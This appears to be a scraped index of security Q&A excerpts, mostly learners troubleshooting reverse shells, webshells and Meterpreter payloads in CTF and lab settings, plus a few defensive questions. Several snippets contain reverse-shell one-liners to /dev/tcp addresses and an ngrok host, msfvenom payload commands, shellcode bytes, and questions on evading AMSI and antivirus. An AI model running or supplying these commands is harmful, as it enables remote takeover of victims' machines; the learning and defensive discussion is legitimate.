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Why does my uploaded shell as .php gets downloaded rather than executed when I hit the URL?

I have uploaded a php shell using a file upload vulnerability. But when I hit the .php url after uploading it. It gets downloaded rather than executed. Why is that. And how can I execute my shell code?...
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Reverse Shell payload does not work

$(/bin/prin[t]f 'ba\x73h -c \x27ba\x73h -i \x3e\x26 /d\x65v/t\x63p/2.t\x63p.eu.ngrok.io/xxxxx 0\x3e\x261\x27') -i: -c: line 1: unexpected EOF while looking for matching `'' I was trying to get a ...
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Create and bind to Metasploit reverse shell on Apple Sillicon system

I'm trying to create a persistence module for OSX systems but first I need to create a reverse shell that spawns and binds on the same computer over a LAN. I'm having trouble creating an executable ...
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Snort rule doesn't match the content in Meterpreter session packet

I'm working on a university project and I'm trying to identify a reverse shell attack with Snort IDS. For the attack I used Meterpreter/reverse_tcp and analyzed the packets via Wireshark for traces to ...
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Bash reverse shell as a URL parameter value

I try to put bash reverse shell as a URL parameter. The command is as follows: bash -i >& /dev/tcp/192.168.56.105/4444 0>&1 I have encoded the above code with URL encoding bash%20-i%20%...
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Auto-opening a reverse bash shell

Is it possible to use a tool like netcat to create a listener on the attacker's device with a specific command that when the target device or machine connects to this IP and port, it runs a bash shell ...
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Running code on attacker machine from a reverse ssh exploit? (Low level theoretical explanation required)

Reverse shell. A victim server runs a malicious binary which creates an SSH connection to the attacker machine. Then the attacker machine SSH's to the victim server and runs commands (that way you ...
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Is it possible to disable screenshare if someone's got meterpreter shell on your PC?

If hypothetically there was a meterpreter shell installed on your pc, are there security features or ways to harden a Windows laptop to prevent the hacker from using the screen share command to spy on ...
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If a reverse shell target is an administrator does the attacker have admin?

If a reverse shell target is an administrator does the attacker have admin? I've been trying to find the answer to this but can only find general information on how they connect to a target and not ...
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Reverse shell not working [closed]

I'm running a DVWA container on my kali VM using: docker run --rm -it -p 80:80 vulnerables/web-dvwa Network interface details: Kali docker0 int: 172.17.0.1/16 Kali eth0 int: 192.168.1.233/24 DVWA ...
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if an attacker connects to your machine with a reverse shell can you take control of their machine using the listener they setup

If an attacker were to set up a netcat listener (nc -lvnp 4444), then is it possible to take control of their device using that listener? Whenever I look for an answer online, all I can find is how to ...
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Why do you need to wrap bash command inside another when opening a reverse shell?

In the CSAW 2022 web challenge, called "my little website", a youtuber in this video used a vulnerability in md-to-pdf to run arbitrary js, and this is the payload used: ---js ((require[&...
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I cannot make a reverse connection

I am playing with a Linux CTF server and came across a kind of reverse connection block. I uploaded a php webshell, gained control of www-data user and tried to make a reverse shell. Possible a UFW ...
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Is it possible to reverse the connection of a client connected to a Google Meeting?

I was watching some videos of Jim Browning on Youtube and I have noticed that he reverses the connection of the scammer and gets remote access to their devices. So I was wondering about the risks that ...
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Reverse Shell for managing unreachable remote computers

In the near future, I will have about 50 remote computers to manage. These will be physical PCs running Debian 11, distributed all over the country. They will automatically perform a special kind of ...
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Payload uploaded but error : "no session was created"

I'm doing a capture-the-flag challenge (similar to HackTheBox) and I can't figure it out despite looking at many workarounds how to solve my issue. I did: nmap --> got port 8080 firefox -> 10....
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Reverse PHP shell exit when netcat listening

My reverse shell is exiting when i lsten it with netcat: here is netcat output: listening on [any] 5555 ... connect to [10.9.3.117] from (UNKNOWN) [10.10.47.117] 37602 bash: cannot set terminal ...
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Getting reverse shell from firewalled target

Suppose this scenario: You are already inside a corporate network. Suppose to find out a RCE in a X service. The machine that hosts that service is behind a network-based firewall, ingress rules and ...
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Can I inject shell in the below php code?

How I can inject a shell command in the below code? <?php if (isset($_POST['search'])) { $res = trim(shell_exec("findstr /l /m /s \"" . $_POST['search'] . "\" ...
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Upgrading a reverse shell with stty raw -echo doesn't work

I successfully got a reverse shell: nc -lnvp 8000 # in Kali /bin/bash -i >& /dev/tcp/192.168.6.1/8000 0>&1 # in the victim machine I tried to upgrade it in the standard way: python -c '...
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Suspicious HTTP Requests in my logs [duplicate]

I'm running a PHP application with a user management system called userspice. It basically allows you to include the userspice PHP file and then control access to a certain PHP page. As I have seen ...
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PHP reverse shell is not responding back [closed]

I created a php reverse shell using msfvenom utility like: msfvenom -p php/meterpreter/reverse_tcp LHOST=<MY_IP> LHOST=4444 -f raw > reverse_shell.php And I created a listener using ...
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Why a curl piped bash command works but not the direct command? [closed]

So im doing some pentesting in a TryHackme box (Chill Hack) and I've come to some trouble. In this box I have available an input in a website where I can inject commands to the vulnerable system. This ...
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Why is the first step for an attacker to get Reverse Shell after getting RCE?

If someone is having a Remote Code Execution, that means, one can run the commands on the server, then why does he need to get the Reverse Shell? Even though I can run system commands, then why do I ...
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How do I stabilize a reverse shell in when the attack box is using powershell?

I've managed to get a version of netcat onto my Windows machine and I can run the standard: nc -lvnp 1234 and this properly connects to the victim's machine, but it's a very fragile connection. Ctrl +...
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Reverse shell with python client side becomes detectable after converting with pyinstaller as exe file

When converting the reverse shell client.py python file to exe with pyinstaller it becomes detectable as a trojan on virustotal.com with most antivirus. Here is my client file: import os, socket, ...
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UFW does not block meterpreter

I am doing some pen testing on my wordpress server. I wanted to see what would happen if the attacker were to get a hold of my username and password for wordpress. So I used the standard exploit in ...
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Meterpreter Session died [Bwapp]

I just set up a lab with bwapp and wanted to jump straight into webshell. I used Unrestricted file upload vuln --> uploaded my perfect shell created with msfvenom. My only problem is that my ...
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Connect msfvenom reverse shell without metasploit

For most reverse shell here, I can simply use netcat to connect: nc -nlvp 1234 But for reverse shell created by msfvenom, for example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 ...
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Access to Reverse Shell from another network

If when we have a reverse shell and get persistence and we try to access the compromised target from another network different from the one which we created the payload, is that access to the ...
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Reverse shell from backdoor - exposing attacker? [duplicate]

If an attacker successfully installed a backdoor that connects to his computer via a reverse shell, how can the attacker hide his IP address? I'd guess he can't use Tor or a VPN, because packet ...
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Unable to start reverse shell over HTTP

I am able to get a reverse shell working locally over TCP, but failing to trigger it remotely over HTTP. Locally over TCP: Attacker terminal runs netcat to listen for a connection over port 8000: nc -...
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LFI to RCE through User-Agent

I'm doing a pentest on a FreeBSD machine running CuppaCMS. Already managed to login into the CMS with admin privilege, but it only takes me to a manager menu, with some options to change some tables ...
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Help Understanding PHP Reverse Shells

I have recently done two different hackable VMs and had to take, after reading walkthroughs, two different approaches. For Fristileaks 1.3, it was simple. I was able to get login credentials to the ...
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Why to use Reverse Shell? [duplicate]

I know that reverse shells get the victim to connect to us, but I heard that people mostly use reverse shells Why use reverse shells when hacking a network outside our local network as we have to do ...
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Php intermediate shell [closed]

Is there any way that i can use the compromised website as the shell What i am trying to achieve is to get a reverse shell on the machine,not a webshell.The target machine has a website hosted on it ...
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Kioptrix 2: Why netcat reverse shell executed in web browser via command injection bug doesn't work?

I've completed kioptrix level 2 challenge via sql injection, command injection, bash reverse shell, and local privilege escalation as part of my OSCP preparation. https://www.vulnhub.com/entry/...
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When using metasploit with my python reverse shell script I get a byte error, but it seems to work fine when using a netcat listener

When I run my python script and use netcat -nvlp 4444 the connection establishes fine and I am able to use the functions. When attempting to replicate this in metasploit I use set payload windows/...
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How do you securely give access to a Java App interactive console (Linux/GNU)?

I have a Java App running, which prints out messages into STDOUT and also has an active interactive console (also accepts STDIN), when the server has started up. How do I securely give access to an ...
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Bypass AMSI Windows 10

I'm trying to run a powershell reverse shell on windows 10. Anyway everytime it is blocked by Wndows Defender. How can I bypass it? In a file I store the payload $client = New-Object System.Net....
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Hide reverse shell window launched with HID attack

GOAL: the attacker insert into a victim's laptop an USB which act as a keyboard. The payload opens a terminal, executes a reverse shell and hides the terminal. PROBLEM: the tests I did locally (...
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What is bindshell backdoor?

I just found out a bindshell backdoor, but I don't know how to access/connect to it using Metasploit. I'm a beginner with exploiting; is there a way to access the backdoor? I tried to search for "...
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Getting an Interactive Powershell Reverse Shell Using socat

I've read that socat is capable of creating interactive shells. I'd like to create an interactive Powershell shell. Kali Listener # socat - tcp4-listen:1338 Windows (socat.exe used from here: https://...
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How is it possible for people to reverse a GoToAssist session? [duplicate]

I am puzzled by how people on Youtube bait scammers into connecting to their machines and end up "reversing" the connection on them. Essentially controlling the scammer's PC. Is this done via reverse ...
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I set up a successful reverse shell but my commands return nothing

I recently successfully uploaded an msfvenom binary payload into a Windows server 2008 VM. My netcat listener displays the following message: connect to [lhost ip] from (UNKNOWN) [rhost ip] 49155 ...
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Spawned reverse shell will not run additional commands

I am new to this, so I applogise if this is a silly question! I have created a reverse shell on a Windows box using an exploit script and the following MSFVENOM to create a reverse shell. msfvenom -...
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Why is a bind shell sometimes blocked when a reverse shell is not?

I understood the difference between them. The problem is I am not sure when to use each. I mean, if a firewall will block my connection to the target when I use bind shell, why the connection will not ...
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How to detect backdoor/root shells?

Let's assume I'm a user with root access to a machine and I'm a legit user. My machine/server runs Linux. I'm not very familiar with defensive security (I mainly practice offensive). Sometimes, ...
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Metasploit - Does the multi handler sends the payload, or just listens for connection

Does the metasploit module: exploit/multi/handler sends payloads to stagers? Or does it just listens for an incoming connection like a netcat listener? Or does it do both, as needed?
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Executing shellcode in python format [closed]

So after running the command: msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.31 lport=8080 -f py I receive the output: buf = b"" buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\...
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